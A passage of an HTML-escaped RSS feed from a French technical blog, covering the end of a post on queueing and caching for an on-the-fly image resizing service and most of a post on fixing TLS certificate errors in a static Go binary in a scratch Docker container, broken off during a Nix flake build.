&lt;p&gt;On peut d’abord envisager un mode de fonctionnement très direct pour notre &lt;em&gt;failure mode&lt;/em&gt; : envoyer un code d’erreur HTTP, comme le standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;503 service unavailable&lt;/code&gt; ou le non-standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;529 service overloaded&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Plus ambitieux, on peut envoyer une image placeholder à la place, sans directive de cache bien entendu, ce qui permettrait de donner une indication visuelle plus claire aux internautes, et potentiellement de moins casser le site web. Cette image placeholder serait pré-calculée au démarrage du service pour tous les formats supportés (JPEG, HEIC, etc.) et stockée en mémoire vive.&lt;/p&gt;

&lt;p&gt;Se pose encore la question de la taille : si on envoie une taille différente de celle attendue, on peut “casser” le rendu du site. À contrario, générer une image à la bonne taille à la volée demande des calculs, bien que si on complète avec une couleur uniforme, ces calculs puissent possiblement être triviaux en fonction du format considéré.&lt;/p&gt;

&lt;p&gt;Enfin, le problème majeur, c’est que les images sont intégrées de pleins de manières différentes à travers un site web, parfois mélangées avec des filtres : comment s’assurer que notre placeholder sera correctement reçu et compris ?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Dans le cadre du développement d’une première itération, la solution des codes d’erreur semble préférable.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;files-dattente&quot;&gt;Files d’attente&lt;/h2&gt;

&lt;p&gt;Reste maintenant à définir comment on bascule dans ce &lt;em&gt;failure mode&lt;/em&gt;. Et pour se faire, on va partir de conceptions single-thread et multi-thread naïves pour comprendre comment elles échouent. En single-thread, lorsque plusieurs requêtes seront reçues, elles vont s’accumuler soit dans le noyau, soit dans le runtime (eg. nodejs) et une seule sera processée (car on suppose un processus CPU bound sans IO). Les requêtes vont donc s’accumuler, quelques unes vont être process, mais la plupart vont timeout. En multi-thread, on va progresser sur la conversion de plusieurs requêtes en parallèle mais très lentement à chaque fois, au point qu’on va aussi timeout probablement. Dans le cas du multi-thread, on risque aussi d’épuiser les ressources du serveur.&lt;/p&gt;

&lt;p&gt;À la place, on va placer les traitements d’image dans un ou plusieurs fils dédiés mais toujours un nombre inférieur à notre nombre de CPU, pour garder un serveur réactif. Lorsqu’on veut réaliser un taitement, on place notre requête dans une file d’attente. Lorsqu’un fil a fini son traitement, il prend un nouveau &lt;em&gt;job&lt;/em&gt; dans cette file d’attente. Cette file d’attente est bornée, elle peut donc être pleine, auquel cas on passe dans le &lt;em&gt;failure mode&lt;/em&gt; tant qu’elle ne s’est pas vidée. Ici, on a formulé notre problème selon &lt;a href=&quot;https://fr.wikipedia.org/wiki/Th%C3%A9orie_des_files_d%27attente&quot;&gt;un modèle académique&lt;/a&gt; bien connu, et surlequel on peut envisager itérer.&lt;/p&gt;

&lt;p&gt;Une des questions qui se pose est bien entendu “quelle est la bonne borne pour la file d’attente” ? On peut commencer par mettre des valeurs statiques, qui seraient configurées de manière empirique en fonction du type de déploiement. On peut être tenté ensuite de calculer aussi combien de temps va prendre la file d’attente à être traitée, en fonction du type de job (format, taille de l’image, etc.) et des performances passées : ça semble compliqué et hasardeux. À la place, on peut imaginer une gestion inspirée de &lt;a href=&quot;https://en.wikipedia.org/wiki/CoDel&quot;&gt;CoDel&lt;/a&gt; : une file d’attente est utile si elle permet d’absorber des &lt;em&gt;burst&lt;/em&gt; sur une courte période, sinon elle est néfaste. On peut donc définir cette courte période : par exemple 5 secondes. Si durant cette période, la file d’attente n’a jamais été vide ou presque (mettons qu’aucune image n’a été traitée en moins de 500ms), alors on est en sur-capacité, on doit passer en &lt;em&gt;failure mode&lt;/em&gt; et “drop” certains traitements. Il y aurait quelques ajustements à réaliser pour que ça fonctionne - par exemple imposer un temps de traitement maximal par image, ici ce serait 500ms aussi.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Dans le cadre du développement d’une première itération, on peut se contenter d’une valeur statique.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;cache&quot;&gt;Cache&lt;/h2&gt;

&lt;p&gt;Bien entendu, un tel système s’entend aussi avec un cache, qui pose son lot de questions : comment on le garbage collect ? est-ce qu’on met une taille maximale à ce dernier ? qu’est-ce qu’on fait si on la dépasse ? On peut voir aussi des synergies entre notre système de fil d’attente et de cache : on pourrait imaginer une seconde file d’attente avec une plus longue période (mettons 2 heures), encaissant donc de plus gros bursts, qui fonctionnerait de manière asynchrone pour hydrater le cache. Les éléments qui ne peuvent pas être ajoutés à la file d’attente synchrone pourraient être ajoutés à la 2nde file d’attente. Ça fonctionnerait particulièrement bien avec les galeries : si il est impossible de générer 60 miniatures au chargement de la page, ces miniatures pourraient être générées en asynchrone pour plus tard.&lt;/p&gt;

&lt;p&gt;Idéalement, le cache serait imputé par utilisateur-ice, directement dans leur bucket. L’expiration des objets seraient réalisée via le système de &lt;a href=&quot;https://docs.aws.amazon.com/AmazonS3/latest/userguide/intro-lifecycle-rules.html&quot;&gt;Lifecyle&lt;/a&gt; de S3 (non-implémenté dans Garage à ce jour). Avec les lifecycles, il est trivial d’implémenter un pseudo FIFO en expirant tous les objets X jours après leur création, mais moins évident de faire un LRU ou LFU. Sans considérer les lifecycles ni l’imputation par bucket, on peut imaginer une stratégie différente. En utilisant un seul bucket (par instance), on définirait un nombre fixé de “slots”, par exemple 1 000, correspondant à une clé &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache0&lt;/code&gt; à &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache999&lt;/code&gt;. Un mapping entre la clé de cache et l’URL de l’image (son identifiant, sa taille, etc.) est maintenu en mémoire et est régulièrement flush, c’est l’index. Ce dernier contient aussi la date de dernier accès, et toute autre information utile/importante pour la stratégie d’eviction du cache. Il se peut que la clé de cache et l’index se désynchronise, afin d’éviter d’envoyer une donnée “corrompue”, on vérifie que l’ETag stocké dans l’index correspond à celui de l’objet. Afin d’éviter une explosion du stockage, on met aussi une borne supérieure sur la taille de ce qui peut être stocké dans le cache. Par exemple, avec une borne à 5Mo et 1000 fichiers, notre cache ne dépassera pas 5Go. Enfin, on peut suivre l’efficacité de notre cache en trackant des métriques bien connus sur ce dernier (cache hit, cache miss, etc.).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Si on pourrait être tenté dans une première itération de ne pas utiliser S3 pour le cache mais le filesystem ou la mémoire vive, je pense que c’est une erreur. Si le CDN se reschedule sur un autre noeud, on perd le cache, et on risque de passer trop souvent dans le failure mode inutilement, créant du désagrément et de l’incompréhension pour rien auprès des utilisateur-ices.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;On peut aussi être tenté d’utiliser des outils de caching existants plutôt que de ré-implémenter notre propre politique de cache. D’abord ça n’est pas évident que ce soit possible dans notre cas d’usage où on a besoin de stocker dans S3. Ensuite, ça nous rendrait impossible l’implémentation ultérieure de l’imputation du stockage à l’utilisateur final.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Dans ce billet de blog, on a vu que la conversion et redimensionnement des images à la volée consommait beaucoup de ressources CPU &amp;amp; RAM.
De ce fait, c’est un défi à mettre en oeuvre dans un environnement contraint en ressources (computing within limits). 
En s’autorisant un &lt;em&gt;failure mode&lt;/em&gt;, on peut cependant s’assurer d’une certaine résilience du système face à des pics de charge trop importants, et donc assurer la viabilité d’un tel service. La théorie des fil d’attentes et CoDel sont un exemple de comment &amp;amp; quand basculer entre le &lt;em&gt;normal mode&lt;/em&gt; et le &lt;em&gt;failure mode&lt;/em&gt;. 
Enfin, un système de cache bien conçu permettrait une réduction significative de l’utilisation CPU+RAM pour un coût supplémentaire en stockage modique. 
Idéalement, le coût supplémentaire en stockage serait imputé à l’utilisateur ; on peut aussi envisager utiliser le cache pour un traitement asynchrone des images, comme la génération d’un grand nombre de miniatures qui ne peut pas être fait de manière synchrone en environnement contraint.&lt;/p&gt;

</description>
        <pubDate>Wed, 31 Jul 2024 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2024-07-31/img-processor/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2024-07-31/img-processor/</guid>
      </item>
    
    
    
      <item>
        <title>TLS dans un conteneur statique</title>
        
        <description>&lt;p&gt;Cet article est motivé par un problème rencontré sur l’interface Guichet de Deuxfleurs.
Au moment d’intéragir avec l’API S3, on a cette erreur suivante :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Impossible d&apos;effectuer la modification.
Put &quot;https://garage.deuxfleurs.fr/bottin-pictures/d1e3607f-4b9c-45fa-9e11-ddf8eef48676-thumb&quot;: tls: failed to verify certificate: x509: certificate signed by unknown authority
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour comprendre le problème, partons de cet exemple basique en Go :&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;net/http&quot;&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;log&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://deuxfleurs.fr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Fatal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Success&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce bloc de code fait une requête HTTPS vers deuxfleurs.fr et log l’erreur si il y en a une, sinon il affiche &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Success&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On va le compiler en statique pour ne pas dépendre de la lib C locale :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;CGO_ENABLED&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 go build main.go
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous donne bien un executable statique :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=ctUIsYsrR2BtpR58vqRU/TI93T6hZlDxMBNqsplsv/QYD-xJaEDyWB0QaX6tSS/cDyvoEdvE3kZpdq8yCs3, with debug_info, not stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si on le fait tourner en local, tout se passe bien :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2024/06/09 15:54:59 Success
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Maintenant, puisqu’on nous avons un binaire statique qui ne dépend de rien, on va vouloir créer un conteneur Docker qui ne contient que ce fichier (alors que souvent on embarque une distribution de base comme Debian ou Alpine). Pour se faire, on écrit un Dockerfile avec deux étapes : une qui a les outils pour le build, et une qui ne contient que notre binaire :&lt;/p&gt;

&lt;div class=&quot;language-Dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;golang&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;builder&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; main.go .&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CGO_ENABLED&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 go build &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; /main main.go

&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; scratch&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; --from=builder /main /main&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;CMD&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; [ &quot;/main&quot; ]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On construit &amp;amp; lance le conteneur et… on reproduit l’erreur !&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker build -t tls-static-go .
$ docker run --rm -it tls-static-go
2024/06/09 14:02:37 Get &quot;https://deuxfleurs.fr&quot;: tls: failed to verify certificate: x509: certificate signed by unknown authority
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour comprendre la différence de comportement entre l’intérieur du conteneur et l’extérieur, on peut faire appel à &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt; et voir les fichiers que notre binaire essaie d’ouvrir :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;strace &lt;span class=&quot;nt&quot;&gt;-fe&lt;/span&gt; openat ./main
...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;pid  9066] openat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AT_FDCWD, &lt;span class=&quot;s2&quot;&gt;&quot;/etc/ssl/certs/ca-certificates.crt&quot;&lt;/span&gt;, O_RDONLY|O_CLOEXEC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 7
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;pid  9066] openat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AT_FDCWD, &lt;span class=&quot;s2&quot;&gt;&quot;/etc/ssl/certs&quot;&lt;/span&gt;, O_RDONLY|O_CLOEXEC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 7
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;pid  9066] openat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AT_FDCWD, &lt;span class=&quot;s2&quot;&gt;&quot;/etc/ssl/certs/ca-bundle.crt&quot;&lt;/span&gt;, O_RDONLY|O_CLOEXEC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 7
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;En général ce fichier est fourni par les distributions, qui à ma connaissance majoritairement se basent sur le travail de Mozilla.
On peut en lire plus à propos de la gestion de ces racines de confiance sur la page dédiée du wiki de Mozilla : &lt;a href=&quot;https://wiki.mozilla.org/CA/FAQ&quot;&gt;CA/FAQ&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Une façon de faire est donc de copier le fichier de notre builder dans notre conteneur final :&lt;/p&gt;

&lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gd&quot;&gt;--- Dockerfile.old	2024-06-09 16:13:18.457415988 +0200
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ Dockerfile	2024-06-09 16:12:59.494182932 +0200
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -4,5 +4,6 @@&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt; FROM scratch
 COPY --from=builder /main /main
&lt;span class=&quot;gi&quot;&gt;+COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt
&lt;/span&gt; CMD [ &quot;/main&quot; ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On rebuild, on relance et… ça marche !&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker build -t tls-static-go-2 .
$ docker run --rm -it tls-static-go-2
2024/06/09 14:14:30 Success
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour visualiser le contenu d’une image docker, on peut utiliser l’outil &lt;a href=&quot;https://github.com/wagoodman/dive&quot;&gt;dive&lt;/a&gt; :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/dive.png&quot; alt=&quot;Dive&quot; /&gt;&lt;/p&gt;

&lt;p&gt;À gauche, puis à droite, les commandes sont :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dive tls-static-go
dive tls-static-go-2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On voit bien l’ajout du chemin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ssl/certs/ca-certificates.crt&lt;/code&gt; à droite.
Maintenant, le problème avec les &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt;, c’est que ce ne sont pas du tout des builds reproductibles ni précis : on ne sait pas quelles versions ou dépendances on embarque. Donc on veut plutôt construire nos conteneurs avec NixOS pour plus de contrôle.&lt;/p&gt;

&lt;p&gt;Pour faciliter le packaging Nix, on va générer un fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go.mod&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;go mod init tls-static-go
go mod tidy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut ensuite créer un fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flake.nix&lt;/code&gt; qui est notre équivalent – mais plus précis – de notre Dockerfile :&lt;/p&gt;

&lt;div class=&quot;language-nix highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;TLS Static Golang&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;inputs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;nixpkgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;github:nixos/nixpkgs/master&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;outputs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nixpkgs&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}:&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt;
      &lt;span class=&quot;c&quot;&gt;# On configure &quot;le dépôt Nix&quot;&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;pkgs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nixpkgs&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;system&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;x86_64-linux&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

      &lt;span class=&quot;c&quot;&gt;# On utilise le builder Go intégré à Nix pour construire notre app&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;tls-static&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;pkgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;buildGoModule&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;pname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;tls-static&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0.1.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sx&quot;&gt;./.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;vendorHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;CGO_ENABLED&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

      &lt;span class=&quot;c&quot;&gt;# On construit une image Docker qui ne contient que l&apos;app qu&apos;on a build.&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;container&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;pkgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;dockerTools&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;buildImage&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;superboum/tls-static-go&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;copyToRoot&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;tls-static&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;nv&quot;&gt;Cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/tls-static&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;in&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;# Par défaut, sous Linux amd64, on construit le conteneur&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;packages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;x86_64-linux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et ensuite on peut construire / charger / lancer le conteneur Docker :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix build
$ docker load &amp;lt;result
Loaded image: superboum/tls-static-go:zvsb5pwz25irhr90x10kpfhgsph5is1s
$ docker run --rm -it superboum/tls-static-go:zvsb5pwz25irhr90x10kpfhgsph5is1s
2024/06/09 14:37:57 Get &quot;https://deuxfleurs.fr&quot;: tls: failed to verify certificate: x509: certificate signed by unknown authority
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et de nouveau la même erreur, on jette un coup d’oeil avec dive :&lt;/p&gt;

